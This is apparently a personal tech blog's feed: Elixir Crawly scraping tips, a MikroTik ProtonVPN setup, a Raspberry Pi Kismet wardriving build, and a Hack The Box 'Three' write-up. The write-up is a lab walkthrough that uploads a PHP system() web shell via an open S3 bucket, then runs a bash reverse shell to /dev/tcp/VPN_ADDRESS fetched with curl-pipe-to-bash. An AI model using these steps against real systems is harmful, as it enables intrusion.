dawgora.com RSS feed

Working with Crawly

2023-09-26T09:19:35Z

I recently had to work with a scraper, named Crawly . And I had some fun with it, but there isn’t a lot of information, on how to work with it better, so, I wanted to write a small blog post, to help out some people who might want to work with it in the future. there are some small things/recommendations, on how to work with it.

How to set cookies

Sometimes, you need to set some cookies, so that the website will work. For example, where you got some kind of age verification- you always need that cookie to be set to true or some value, and it always needs to be sent, if you want to see some content.

to create this, I added this in my config file (but yeah, it would also be better if you can add it to your override_settings function instead)

config :crawly,
    ...
    middlewares: [
     ... ,
     {Crawly.Middlewares.RequestOptions,
     [
     timeout: 10_000,
     recv_timeout: 5000,
     hackney: [
     cookie: [{"YOUR_COOKIE_NAME", "1",[{:path, "/"}, {:domain, ".domain.com"}, {:secure, true}, {:max_age, 7}]}]]
     ]}
    ],
...

Basically, this will make sure that each of your requests has this cookie. it was a pretty nice feature, which helped me tremendously, this kind of wasn’t written in documentation and I had to search a lot to find a good way to do this.

How to run multiple crawlers through one project and do what you want

Also, while I worked on one of my work-related projects, I had to run multiple crawlers from multiple sites, with different designs (and run them dynamically, later on on that). And I had to persist the entities to a database. So, I needed to use pipelines. but not all crawlers, that I made, would be the same specific fields and so on, that wouldn’t cut it. So… I made my own pipes.

config :crawly,
  closespider_timeout: 1,
  concurrent_requests_per_domain: 20,
  middlewares: [
...
  ],
  pipelines: [
    {Project.Crawly.ValidateEntities},
    {Project.Crawly.DuplicateFilter},
    {Project.Crawly.PersistEntity}
  ],

And when a entity goes into the pipeline, my pipeline looks like this:

defmodule Project.Crawly.ValidateEntities do
  @behaviour Crawly.Pipeline

  require Logger

  @impl Crawly.Pipeline
  def run(item, state, opts \\ [])

  def run(%{type_1: true} = item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:video_views, :url, :title])
  end

  def run(%{type_2: true} = item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:title, :url, :text])
  end

  def run(%{type_3: true} = item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:text, :on_sale?])
  end

  def run(item, state, _opts) do
    Crawly.Pipelines.Validate.run(item, state, fields: [:type, :url, :name])
  end
end

as you can see, I use pattern matching to go trough the wanted flow. Might be a little hack, but that was the easiest way to go with a flow you want.

Running Crawly with Oban.

oh boy, this is also a fun part. The thing is, you can easily run crawly through oban, but there is a problem. Oban never knows when the crawly has finished crawling. So… If Oban doesn’t know if the crawl has finished, it just basically waits for a message. So, how do you fix this? By getting your oban jobs pid, giving it to the crawler, and when the project has finished the work, send pid a message, that it has finished.

for crawly, you got a function, which always calls, when it times out or is finished, which is on_spider_closed_callback

config :crawly,
  ...,
  middlewares: [
  ...
  ],
  pipelines: [
    ...
  ],
  on_spider_closed_callback: fn _spider_name, crawl_id, reason ->
    [{_, pid}] = :ets.lookup(:crawler_pid, crawl_id)

    send(pid, {:crawly_finished, reason})

    :ok
  end,

note- perhaps it’s better to add this function to the override_settings. So, basically, you get your pid (might not be the best variant of how i do it- I persist them inside a ets table and look it up by crawl_id. Perhaps it’s not even production safe, not a pro at that). and then you send your pid a message, that your crawly has finished it’s job.

and then, in the oban job, you can put in something like this.

  @impl Oban.Worker
  def perform(%Oban.Job{args: %{"thingy_id" => thingy_id}}) do
    ...
    
    receive do
    {:crawly_finished, reason} ->
        IO.inspect("Crawl finished #{reason}")
        reason
    end

    :ok
  end

and this will make the job finish it. So you won’t need to deal with unfinished jobs.

Running multiple identical crawlers.

Oh boy, this also was a doosie. The thing is, that the Crawly uses UUID1 (Read here for more information about it). The thing is, I don’t know why, UUID1 wasn’t unique enough for me, and I had some collisions (when I was running crawly through oban in multiple instances), where the crawlers had the same id. I read the manual a bit more and found out, that you can set your own crawler id. so that’s what I did, and set my crawler id with not UUID1, but UUID4. They are the same length and they always are unique.

So… I basically added this code, when I started a crawler instance.

  @impl Oban.Worker
  def perform(%Oban.Job{args: %{"thingy_id" => thingy_id}}) do
    pid = self()
    entity = Project.get_the_thingy(thingy_id)
    id = UUID.uuid4()

    init_ets_if_required(:entity_spider)
    init_ets_if_required(:crawler_pid)
    :ets.insert(:crawler_pid, {id, pid})

    Crawly.Engine.start_spider(Project.Spiders.EntitySpider,
    url: entity.url,
    crawl_id: id
    )

    :ets.insert(:entity_spider, {id, data})

    ...

    :ok
  end

  defp init_ets_if_required(name) do
    if :undefined == :ets.info(name) do
    :ets.new(name, [:named_table, :set, :public]) #public might not be the safest way, tho.
    end
  end

You might be asking- why I need a unique id? Well, because if I don’t have a unique id, and I have a collision, how the hell I will turn off my crawler, how will it read the correct data, and save it to a proper thingy? that’s why I need a unique pid. With a unique crawler_id, I know that it will be a specific crawler, I know it’s pid, and I can do all that I need/want.

Crawly and relations

This will also sound like a hack, but it worked for me. The thing is- if you have an id (for example, for a relation: you want to crawl some posts and save their comments, and you want to save the comments to the post), you can’t give it in the middle of the crawl. No, really. I had some problems giving the id of a “post” to the comments. And, the easiest way to do that, was also through :ets and just asking with your crawler id for the data you want. It was a quick victory, but might not be the best way to do that. I might later check some other ways, but currently, while my home project isn’t going on prod, this will work for me for a while.

Crawly and dynamic links.

This also was a small pain point. well, you sometimes want your crawler to work with some dynamic links (like I previously said, you want to crawl multiple posts.)

So, for example, when I worked with this, in my oban job, I called the crawly like this

    Crawly.Engine.start_spider(Project.EntitySpider,
    url: thingy.url,
    crawl_id: id
    )

Basically, I gave the spider a unique field (called url). and, then, I added this in the spider file:

defmodule Project.EntitySpider do
  use Crawly.Spider

  @impl Crawly.Spider
  def base_url(), do: "example.com"

  @impl Crawly.Spider
  def init(options) do
    url = Keyword.get(options, :url)

    posts =
    Crawly.Request.new("#{url}/posts", %{},
        hackney: [
        cookie: [
            {"good_cookie", "1",
            [{:path, "/"}, {:domain, ".example.com"}, {:secure, true}, {:max_age, 7}]}
        ]
        ]
    )

    [start_requests: [posts]]
  end
  ...
end

So, basically, I created a new Crawly.Request from the url which was inside the keyword list. And then it just works dynamically.

These are some of the problems that I saw while working with it. Perhaps my mumbling with the problems I saw might help somebody in the future. :)

Write up- Three

2022-09-06T20:32:16Z

This is going to be a small writeup for HTB “starting point” three

We are given a server which we don’t know anything about, just an IP. (10.129.186.57) note. the domain and subdomain is always registred in /etc/hosts VPN_ADDRESS - is your tunnell address which you can find via ifconfig

first thing first, information gathering.

So, knowing the IP, lets scan it.

nmap -sV -p- -T5 -vv 10.129.186.57 where nmap is a tool to scan IP addresses ports (and not only) -sV means scan with version detection -p- means scan all the ports -T means timing policy -vv is very verbose and the last is the IP.

after this, we receive the information that there are 2 open ports

22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCitBp4qe2+WEqMGa7+L3eEgbrqD/tH3G5PYsQ9nMFx6Erg9Rp+jn7D9QqC9GqKdraCCUQTzVoW3zqEd83Ef4iWR7VXjTb469txJU+Y8XlG/4JzegbjO6WYyfQTtQ3nLkqpa21BZEdH9ap28mcJAggj4/uHTiA3yTgZ2C+zPA6LoIS7CaB1DPK2q/8wrxDiRNv4gGiSjcxEilpL8Qls4R3Ny3QJD89hvgEdV9zapTS5T9hOfUdwbkElabjrWL4zs/E+cyHSZF5pPREiv6QkdMmk7cvMND5epXA29womDuabJsDLhrFYFecJxDmXhv6yspRAemCewOX+GnWckerKYeOf
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEkEPksFeIH9z6Ds6r7s2Uff45kDk/PEnvXYwP0ny6pKsP2s62W3PZVCywfF3aC8ONsAqQh6zy0s44Zv8B8g+rI=
|   256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINwGMkF/JG8KPrh19vLPmhe+RC0WBQt06gh1zE3EOo2q
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

22, and 80. that means it might have http port and ssh. lets check the website.

first things first, lets get all information about the domain. we firstly get the info about the domain name “thetoppers.htb” by searching trough source code and contact email.

Seing this, we can try doing something. like trying to get some subdomains. we can try a zone transfer, with random ns (basically, try to guess that nameserver is ns.DOMAIN )

ve can do dig -axfr domain.name @ns.something.com if you can’t get any info, that means that you basically can’t get zone transfer. (fun fact, this is one thing you could do with some universities)

After trying one way to get subdomains, we can try another, with fuzzing. you can use something like gobuster for this. Gobuster is pretty good tool to go over a lot of domains in fast way (and has a lot other things)

but using this, you’ll need to use wordlist. here are some https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt https://raw.githubusercontent.com/danTaler/WordLists/master/Subdomain.txt https://www.kali.org/tools/wordlists/

we can try something like gobuster vhost -u http://thetoppers.htb -w /mnt/hdd/Other/subdomain_list_20k.txt

with this command, gobuster will basically ping every “subdomain” within that list and hope for a good response like 200, or 500, or whatever.

After scanning with this keyword list, we find out, that there is a subdomain, called s3.thetoppers.htb

knowing what s3 means (aws s3), we can try some things to access it.

first things first, download and set up awscli, and configure it with a random account, for the first time. empty values won’t work most of the time. so if you put aws configure values like temp

knowing that. we can try get the info about the buckets. (first, try the basic, like s3://… without the endpoint, to perhaps get on the)

aws s3 --endpoint=http://s3.thetoppers.htb ls

running this command you can try and see the buckets.

running this we found out that there is a bucket visible there s3://thetoppers.htb so, lets check what’s inside

aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb

running this, we can see all the things what is inside the bucket. we see .htaccess and index.php and some other files.

knowing the bucket, we can try and check some permissions. For example, if we can download something, write over, or upload something.

firstly, lets try with uploading an empty file basically "" > file.txt and upload it to the server.

aws --endpoint=http://s3.thetoppers.htb s3 cp file.txt s3://thetoppers.htb

if this is possible, great- we can upload things there. and the server is vulnerable.

knooowing this, we can try something more. currently what we know:

the server has a public bucket
the bucket has php file in it
the server is running on php/apache
you can upload files

knowing this, well, you can try, and upload a file, which basically uses phps system command with a GET variable.

why so? firstly, get variables can be added in urls (basically example.com?stuff=1. it would be possible to get $_GET[\’stuff\’])

upload a file to server which contains something like > file | aws ....

https://www.php.net/manual/en/function.system.php

So, we got an “shell”. after using but.. we can do more. we can gain actual access from our console, not our browser. After that, we have to do two things:

make a location, where the “victim” connects to us
listen to everything what connects to us
send a bash file, which gives a reverse shell.

so, to make a location to connect to our system is easy. do something like python3 -m http.server 8000 to start a server

and we can use nc ( https://www.cyberithub.com/install-netcat-command-on-linux/ )

nc -nvlp 69

which is n - don’t resolve (only ip addresses) v - verbose l - forward local port to remote address p - local port (69)

And then the last one. reverse shell. and upload to it to the s3. create a bash file, which basically sends tcp packets to your ip, like

#!/bin/bash  
bash -i >& /dev/tcp/VPN_ADDRESS/1337 0>&1

-i is to act as an interactive shell rest is… basically this https://unix.stackexchange.com/questions/525653/why-are-or-required-to-use-dev-tcp this is a good material. the command listens to a connect/socket whatever. basically, you’ll give a shell.

nooow then, when everything is set up, try this

http://thetoppers.htb/shell.php?cmd=curl%20VPN_ADDRESS:8000/shell.sh|bash

and now you got reverse shell. and you got full access to the user.

notes:

aws doesn’t work on all systems correctly with this box. better use Kali or parrot, manjaro won’t work that well
I would really advise to check a lot on the fuzzers. it will help you a lot. even more, if you learn how to hide your ass when you’re doing fuzzing.
learn more about reverse shells. it’s one of the most important things to create connectiong to the victim. it’s a good knowledge, even more, if you’re doing OSCP
Do the tasks on kali.
learn more about nmap/nc.

and other things. this was kind of a “eureka, i need to learn more” moment with this box.

Mikrotik (ROS6) IPSec with ProtonVPN

2022-08-10T19:26:13Z

Sometimes, you just want to set up the router and that’s just it. But sometimes, you want to put on some security on some ports or wifi, that you can’t be trackable so easily, or you want to watch some content that isn’t accessible in your country. So, today I gonna give a tip on how to set up ProtonVPN on Mikrotik. This tutorial will work on (RBD52G-5HacD2HnD-TC) MikroTik RouterBoard hAP ac² on Router OS version 6. (ROS 6)

This small tutorial will go over how to set up Mikrotik ground, if there’s something you don’t need, just don’t paste it or use it. And this tutorial will make all active connections go through a VPN. This script is made so that it works straight from the console. also, it’s tested on at least 4 devices, so, it works.

so, first thing first- connect the device and change your password (connect via mac address with winbox. trust me, that will save your nerves. Also, you can’t paste anything from the browser GUI.). After that, go to the console and make these changes.

/interface wireless security-profiles
set [ find default=yes ] authentication-types=wpa2-psk,wpa2-eap mode=\
    dynamic-keys supplicant-identity=MikroTik wpa2-pre-shared-key=actuallygoodpassword

/interface wireless
set [ find default-name=wlan1 ] band=2ghz-b/g/n channel-width=20/40mhz-XX \
    disabled=no distance=indoors frequency=auto installation=indoor mode=\
    ap-bridge ssid=WIFINAME wireless-protocol=802.11
set [ find default-name=wlan2 ] band=5ghz-a/n/ac channel-width=\
    20/40/80mhz-XXXX disabled=no distance=indoors frequency=auto \
    installation=indoor mode=ap-bridge ssid=WIFINAME wireless-protocol=\
    802.11

/ip address set [find comment="defconf"] address=10.10.10.1/24 comment=defconf interface=bridge network=10.10.10.0
/ip dhcp-server network set [find 1] address=10.10.10.0/24 comment=defconf dns-server=10.10.10.1 gateway=10.10.10.1 netmask=24
/ip pool set [find name=default-dhcp] name=dhcp ranges=10.10.10.10-10.10.10.254
/ip dns static set [find comment="defconf"] address=10.10.10.1 comment=defconf name=router.lan

/system reboot

So, what do these commands mean? We create a wifi security profile, which basically will make the wifi passwords be actuallygoodpassword . Also, the wifi names will be WIFINAME (change these as you want. I would recommend naming them separately, because if you will set them with the same SSID (wifi name), the device will connect to the 2.4GHz version (you can know what kind of “speed” access point it is by looking at the band. (for example band=5ghz-a/n/ac) )) We set the network range to 10.10.10.1/24, we give out ip addresses from 10.10.10.10-10.10.10.254 and give the router address 10.10.10.1

and then we restart the router. if you connected via ip address, you’ll need to reconnect to the device with the correct IP address.

Now… the second part.

/tool fetch url="https://protonvpn.com/download/ProtonVPN_ike_root.der"
/certificate import file-name=ProtonVPN_ike_root.der name="ProtonVPN CA" passphrase=""

/ip firewall address-list add address=10.10.10.0/24 list=under_protonvpn
/ip firewall mangle add action=mark-connection chain=prerouting src-address-list=under_protonvpn new-connection-mark=under_protonvpn passthrough=yes

/ip ipsec mode-config add connection-mark=under_protonvpn name="ProtonVPN mode config" responder=no
/ip ipsec policy group add name=ProtonVPN
/ip ipsec profile add dh-group=modp4096,modp2048,modp1024 dpd-interval=disable-dpd enc-algorithm=aes-256 hash-algorithm=sha256 name="ProtonVPN profile"
/ip ipsec peer add address=lv.protonvpn.net exchange-mode=ike2 name="ProtonVPN LV server" profile="ProtonVPN profile"
/ip ipsec peer add address=ee.protonvpn.net exchange-mode=ike2 name="ProtonVPN EE server" profile="ProtonVPN profile"
/ip ipsec proposal add auth-algorithms=sha256 enc-algorithms=aes-256-cbc lifetime=0s name="ProtonVPN proposal" pfs-group=none
/ip ipsec identity add auth-method=eap certificate="ProtonVPN CA" eap-methods=eap-mschapv2 generate-policy=port-strict mode-config="ProtonVPN mode config" password=PASSWORD_GOES_HERE peer="ProtonVPN LV server" policy-template-group=ProtonVPN username=USERNAME_GOES_HERE
/ip ipsec identity add auth-method=eap certificate="ProtonVPN CA" eap-methods=eap-mschapv2 generate-policy=port-strict mode-config="ProtonVPN mode config" password=PASSWORD_GOES_HERE peer="ProtonVPN EE server" policy-template-group=ProtonVPN username=USERNAME_GOES_HERE
/ip ipsec policy add dst-address=0.0.0.0/0 group=ProtonVPN proposal="ProtonVPN proposal" src-address=0.0.0.0/0 template=yes

/interface bridge add name=protonvpn_blackhole protocol-mode=none
/ip route add gateway=protonvpn_blackhole routing-mark=protonvpn_blackhole
/ip firewall mangle add chain=prerouting src-address-list=under_protonvpn action=mark-routing new-routing-mark=protonvpn_blackhole passthrough=yes

/ip firewall filter add action=accept chain=forward connection-mark=under_protonvpn place-before=[find where action=fasttrack-connection]
/ip firewall filter disable [find action=fasttrack-connection]
/ip firewall mangle add action=change-mss chain=forward new-mss=1360 passthrough=yes protocol=tcp connection-mark=under_protonvpn tcp-flags=syn tcp-mss=!0-1360

/system reboot

First things first. IPSEC passwords for proton are under https://account.protonvpn.com/account#openvpn

First, you’ll get the required certs and make a firewall rule that will mark all the packets which go through this router mark as under_protonvpn

then you add 2 protonvpn ipsec accounts (one for redundancy, just to be sure, you can add more). in this example, I’m adding Latvian and Estonian VPN as my possible sources.

change the PASSWORD_GOES_HERE and USERNAME_GOES_HERE to your OpenVPN details.

You should now have a working VPN. But, there are some other things. the “protonvpn_blackhole” is a really good feature (if you don’t need it, you can remove these 3 lines). basically, if your VPN is down, or all the servers are down, the internet won’t work for you and your actual IP address won’t be found.

and lastly, turn off the FastTrack, add the forward rule for all the under_protonvpn packets and you’re set, you just need to reset the device.

And after all that, your device is set.

I haven’t got it working on ROS7, but I’ll try later to do it, but I’m already giving you a heads up that this won’t work correctly.

Blog update

2022-08-09T15:53:55Z

So, this has been on my mind for a while, I was using a 2-year-old version of the phoenix framework, and I had some problems with CSS, Javascript, and other stuff, so I wanted to migrate it to a newer version of Elixir Phoenix, but also Migrate from Digital Ocean Droplet to App, and in this post, I’ll try to explain all the problems I had while redoing my blog, and what you might have to consider if you also want to go from Droplets to Apps.

Reasons, why I transferred from Droplet to an App:

I had really a lot of painful tasks to do. For example- after each release, I had to regenerate CSS, I had to turn down the server, pull the newest things in, and start the server again plus run the migrations. It was PAIN, it took like 10-15 minutes for each small change.
It felt that my hands were growing out from my ass, and I had f’ed up scss/css/js compilation, and some of the vue backend before (what I had), kind of worked, and kind of didn’t work. Sometimes, after you wrote a large post, you couldn’t even save, it because something f’ed up (for example, CSRF token expired)
I didn’t update the Droplet that often, the droplet was only for my blog and that was it, I hadn’t configured the firewall well enough, I had to jump through hoops to run even my blog normally. There were a lot of additional jobs just to run the project.
I wanted to put the project on Docker.

And that’s how I started.

Upgrading Phoenix from 1.15 to 1.16 (kind of)

Firstly, I thought that I’ll just straight up update my old blog and that’s gonna be it. Wrong. The structure was changed, and a lot of scripts that generate content were removed (webpack, babel was removed), or changed (basically, all node things from the project were removed but esbuild was the only thing that stayed.) After I did the initial updates and recompiled/started the project, more or less nothing worked correctly again. I kind of gave up for like 2 months after that.

After this setback, I just thought, that it would be easier to just do a new project, copy-paste all the elixir/phoenix files, copy the CSS and all those things, and just use a different packer, and set it up with docker (and when it starts, it build the project for dev environment e.c.). I kind of shoot myself in the foot going this way. Okay, copy the code and the migrations were fine, and I checked manually with “iex/mix”, if it worked, (and it worked! except the scss building part). When I started the docker, I basically failed to build some things, and had a lot of errors, that something didn’t work, some ports are not working or something else is not working. After I had worked a bit more on it (like a week, on the day’s end) I fixed the docker things, but still couldn’t fix the new bundler (started with snowpack, ended with vite). Threw in the towel the second time, because I just was too frustrated that nothing works again.

The third time’s the charm, right? Yup. After the first two “f”ups, I just told to myself “just make it work and look kind of okay on mobile, devdesign will suffice”. And, to be fair, I did that and it worked. Firstly I just made the blog, where I can add the posts and where i can see them. That was a good start. After that, I generated authentication (phoenix has really nice auth generation, I only needed to remove the password reset functionality and registration, and I was good to go.), added image upload (had some problems there, will talk about this topic later), created that I can upload images/videos e.c. and create posts while I’m logged in, and I was basically set.

After all this, I was basically set, but I needed to add Releases, to streamline all the processes and I wouldn’t need to scratch my head on how to automate setting up all the info when I start the server. When this was done, I basically created a basic docker script that was provided in the “release” documentation and I was almost done. I set up all the things on the App and just set it and forget it.

And That’s how I released this version of my blog. Yeah, it doesn’t have vue in it. Yes, it doesn’t have SCSS in it, yes, it has a dev design. But I have remade it ground up and it’s running correctly, and still, it doesn’t look that bad. What I literally learned, all over again- “Keep it simple, stupid” and “make it work, make it fast, make it pretty”. A site could be the ugliest thing in the world, but if you don’t even release it, there won’t be any point in the project.

By the way, my blog source code is available here.

Caveats to running on Application and not a droplet

Yeah, there were some problems. First thing first- I kind of doubled the price of my blog. If my droplet cost me around 7.77 USD a month, now it costs more like 20 USD, because:

On droplets, you can preserve images on your hard drive, you don’t need to save them on a different server. You can’t do that on an Applet. you need “spaces” or AWS S3. From the digital ocean, it costs like 5 USD a month to use it, so basically, I set it up. Here’s a good material on how to do it.
On droplets, you can serve your own database, there are no problems with that. On Apps, you’ll need another service. -.- “there’s DO service for that”, and here goes 5..7 more USD for the database (also, DO tells us that the database isn’t meant for production because it’s too small. yeah… but for a blog, it will be enough. I kind of don’t want to pay 12 USD for that). basically set it up and I’m done.
Doing this the first time might be problematic if you don’t know that DO wants you to run 2 pro docker containers straight away (for 24 USD total). and also all the ENV variables, which also might be problematic, if you don’t know how phoenix works on production. I have done this like 4-5 times now and it has gotten a lot easier.

But, if it costs more or less double or triple, what was the added benefit?

I can push it straight to production and it will automatically be pushed to the server. and if something breaks with the new changes, the server will still be on, and nothing will change until the website compiles
I have learned a lot of new things (about spaces, how to set up file upload, LiveView e.c.)
I don’t have to set the Nginx config manually, I don’t need to set firewall rules, I don’t need to worry about old ubuntu versions, and I don’t need to do a lot of things, which would take time. I can just push and forget it.

What now?

After all these updates to the blog, I think I’ll start to do more posts about security and books. I need finally to start my OSCP certification studying, again. I haven’t done that for a month. I also might do a little research, regarding the Wifi things that I got, and about lockpicking, how those things happen and how they are done, and how to prevent them. (aka physical security). Also, there are some small CSS fixes required in the blog, and some admin panel fixes, which would ease my life. (and also a problem with subdomains/domains for sockets, lol)

Anyway- till next time! :)

Wifi scanning

2022-01-20T20:03:22Z

Do you want to make your walks more interesting, and also are interested a bit about wifi security? Then how about warwalking?

In this post, I gonna teach you how to set up a Raspberry Pi Zero 2 W, with a extra wifi card and GPS and how to set it up to automatically start to scan networks.

First off, You’ll need some things.

Raspberry Pi Zero 2W
Wifi with monitor mode (personally got Alfa AWUS036ACH v.2, to get also 5ghz monitor mode)
a micro SD card (I got Samsung microSDXC EVO Plus (2021), 64GB, Class 10 +)
USB hub with micro USB (MakerSpot 4-Port Micro USB Hub)
Power bank (ADATA, P20000D Power Bank, 20000 mAh. To be fair- it’s an overkill, but works perfectly)
GPS receiver (GlobalSat BU/353/S4 USB GPS Receiver)

Yeah, sounds a bit expensive, but, it’s worth it. You can reuse these devices later. If you’re into cybersecurity, then the rpi and alfa wifi will really do you good. Yes, you can get the monitor mode wifi cheaper, you just need to find the correct chipset. Personally, I took the Alfa one because of the reviews.

So, how to configure it all? First off, download rpi-imager (https://github.com/raspberrypi/rpi-imager) and install bare bone raspbian bulseye on the SD card.

When you have installed the everything in the sd card, go inside the card (trough your own OS) in boot drive, and create file in wpa_supplicant.conf (in boot directory) . This will allow you to automatically connect to a wifi, when it turns on.

and put in your wifi config

ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
    ssid="_MYSSID_"
    psk="SOME PSK"
}

This will make sure you can automatically connect to the wifi. (2.4Ghz Only, because this gonna connect trough Rpi built in wifi card).

after that, save it and close it. also, create a empty ssh file in boot directory, so you can automatically connect to the rpi. save and put in the sd card inside rpi and start it.

First off, if you can, check if the Rpi has connected to your wifi device (most of the wifis can show you, what are the current clients and their IPS). You’ll need the rpi IP address to connect to it. if you can’t find that, you can also use something like nmap to find it sudo nmap -sS -p 22 192.168.1.0/24 (scan your local network, basically)

when you have found your rpi just ssh into it with

ssh pi@YOURIP accept the connection. and then try to connect. the default password for raspberry pi zero is raspberry aaand you have connected if you made it this far.

So, what now. First things first- change the admin password with passwd and set it to something better.

also, if you want, you can go into sudo raspi-config and configure some things if you want to.

When you have installed all the default things, it would be nice to update and upgrade your rpi.

sudo apt update
sudo apt upgrade

after that, lets start and install some things. install gpsd ( https://gpsd.gitlab.io/gpsd/ ) sudo apt install gpsd Basically, this is the main component for gps data.

if you already have your gps device connected to usb, check if it exists with ls /dev/ttyUSB* The device will always be ttyUSB something, but most likely 0.

after you have checked what is what in there, run sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock (where USB0 is the device), to configure gpsd correctly. start the gpsd service with sudo systemctl start gpsd.service (also, enable it)

after that, go near the window and check the gpsmon to understand if you have configured the gps correctly or not. if you got your gps location- congratz! you have done one part of the config.

now… The fun part- wifi. This might be a bit pain in the ass, but it will work, trust me. also, I would advise to download this sudo apt install aircrack-ng this will help you to work with wifi monitor mode faster.

first things first, you’ll need to install the driver for the wifi. The Alfa wifi doesn’t have a driver by default, so, you’ll need to compile it by yourself.

sudo apt install git
git clone https://github.com/aircrack-ng/rtl8812au.git
sudo apt-get install raspberrypi-kernel-headers
cd rtl8812au/
sed -i 's/CONFIG_PLATFORM_I386_PC = y/CONFIG_PLATFORM_I386_PC = n/g' Makefile
sed -i 's/CONFIG_PLATFORM_ARM_RPI = n/CONFIG_PLATFORM_ARM_RPI = y/g' Makefile
make
sudo make install

this will download the git, download the rtl8812 chipset drivers, configure the driver, compile it and install it. this is really necesary to actually use the wifi. but it isn’t that hard. after you have done this, just restart it and check, if you can see your wifi inside the ip addr (https://access.redhat.com/sites/default/files/attachments/rh_ip_command_cheatsheet_1214_jcs_print.pdf) (would advise to read this) if iy shows up- great. that means you installed the drivers correctly. if not… Trial and error somewhere.

when you’re done there, i would advise to to add this in /etc/network/interfaces

allow-hotplug wlan1
iface wlan1 inet manual
pre-up iw dev wlan1 set type monitor
pre-up ip link set wlan1 up

this will automatically hotplug your wlan1, and set it to monitor mode, when the rpi is turned on.

Next thing… Kimset itself. first off, don’t install it straight away, you’ll get the old version. better, do this

echo "deb https://www.kismetwireless.net/repos/apt/release/$(lsb_release -cs) $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/kismet.list
sudo apt-get update
sudo apt-get install kismet2018

this will allow you to install the newer version, which you can control over browser. trust me- it’s a lot easier to see what’s being scanned from a browser, rather than from console.

now the fun shit- actually configuring it.

first off, go into /etc/kismet/kismet.config and add this in the config

source=wlan1:type=linuxwifi
source=hci0
gps=gpsd:host=localhost,port=2947

basically, this sets your gps and sources where you’ll get the info about the wifi. (one source is from your wifi, other is for bluetooth. if you don’t want bluetooth, remove the hci0)

in /etc/kismet/kismet_drone.config (if i’m correct. perhaps i still got this by installing the old kismet), add this

nsource=wlan1
gpshost=localhost:2947

(not sure about this, but perhaps)

then, change the damn logging, trust me. if you’re not going to run it root (which i wouldn’t advise to run), in the /etc/kismet/kismet_logging.config set log_prefix=/home/pi/your_directory . this will save all the kismet data to your directory there. but that directory should be created already.

so, the config there is dne, now you basically need to create a kismet group and add pi user to that group. (kismet group should already be created, if not, run groupadd)

but basically, just run this sudo usermod -aG kismet pi . that will add the pi user to kismet group.

then, go and create this service sudo vi /lib/systemd/system/kismet.service with this data

[Unit]
Description=Kismet
ConditionPathExists=/usr/bin/kismet
After=network.target auditd.service

[Service]
User=pi
Group=kismet
Type=simple
ExecStart=/usr/bin/kismet --no-ncurses-wrapper
KillMode=process
TimeoutSec=0
Restart=always

[Install]
WantedBy=multi-user.target

this will create a systemd process what you can activate to automatically start kismet.

basically, then you can start the kismet by sudo systemctl start kismet.service if there are any errors (or something wrong with status), check journalctl -xe and fix the errors.

then you can go in the browser rpi_IP:2501 and set the password

aaand you can start walking. also, be cool and add the kismet data to https://wigle.net/

aand this what i got in a week of walking around. I have seen almost 45k networks, and a lot of bluetooth devices. and i got information about their mac addresses, gps location, what kind of wifi it is (as in 2.4, or 5), what channel is it on, what encrpytion does it have, and a lot of other information.

this was a pretty neat project to go in and do.

Wifi and tears

2022-01-13T00:52:53Z

So, you basically daily use wifi. BUT… What do you really know about it? what really should you do with it? is 2.4Ghz better than 5Ghz, or other way around? Why it might be slow? Which device should you use? And other questions. Well, I’ll try to answer most of these questions.

So, Wifi is one of the most used technoligies nowadays. Like- basically everybody has used it, but a lot of people just “set it and forget it”. And I really don’t like this attitude about people. You should at least keep some things in mind, like, if you ever will be using it, and if all your devices will be able to connect to it.

So, first thing first- 2.4 Ghz vs 5Ghz.

Lets start with the 2.4 Ghz which has been around for about… 23 years. and, I think you have heard and used most of these standards- 802.11 b/g/n (okay, n standard can also be in 5Ghz, but it mostly was used as 2.4). This means, that most of the old or low power devices will be able to use this wifi. Even if 5Ghz is going mainstream, not all devices still use it (some older phones, older than 2-3 years don’t use them). Also, fun fact- Rpi Zero W 2 doesn’t use 5Ghz, but 2.4Ghz only. The biggest plus about the 2.4Ghz, is that it can “go trough dense materials” better than 5Ghz networks. Basically, if you want to know more about this, read this (it’s a bit more haredr to understand, but basically less hertz, more distance and other way around- more hertz, less distance. That’s a good reason, why 5G (talking about the mobile network) really bad in some houses). Maximum speed for this network is from 150mbps (~18.75 mb/s) for all devices. Aaand the range- about 36m indoors. Fun fact about android- If you got a dualband wifi (basically a device which has 2.4 Ghz and 5Ghz) and you got it named the same way, it will by default connect to the 2.4 Ghz, not the 5Ghz. That’s why it’s recommended to split the 5Ghz and 2.4Ghz seperatly.

aaand 5Ghz. It has basically just same things as 2.4Ghz, but it works in 2 times lower range (~16m for good range), but it has bigger network speeds. (162mb/s max for 802.11 ac and 437 mb/s for the newer 802.11 ax standard.).

Additionally, if you want the wifi to go farther, like I said previously, use 2.4ghz. But still, there comes physics in play- Attenuation. (Attenuation coeficients and so on. for more information,). Basically, we all been there, that you don’t have wifi in one room of the house, because the floor/walls are too thick, or made from some material. Basically it’s that. To be fair, to find accurate information about this is really pain in the ass, but basically, look by the “attenuation wifi” keyword and perhaps you will run into something (like this )

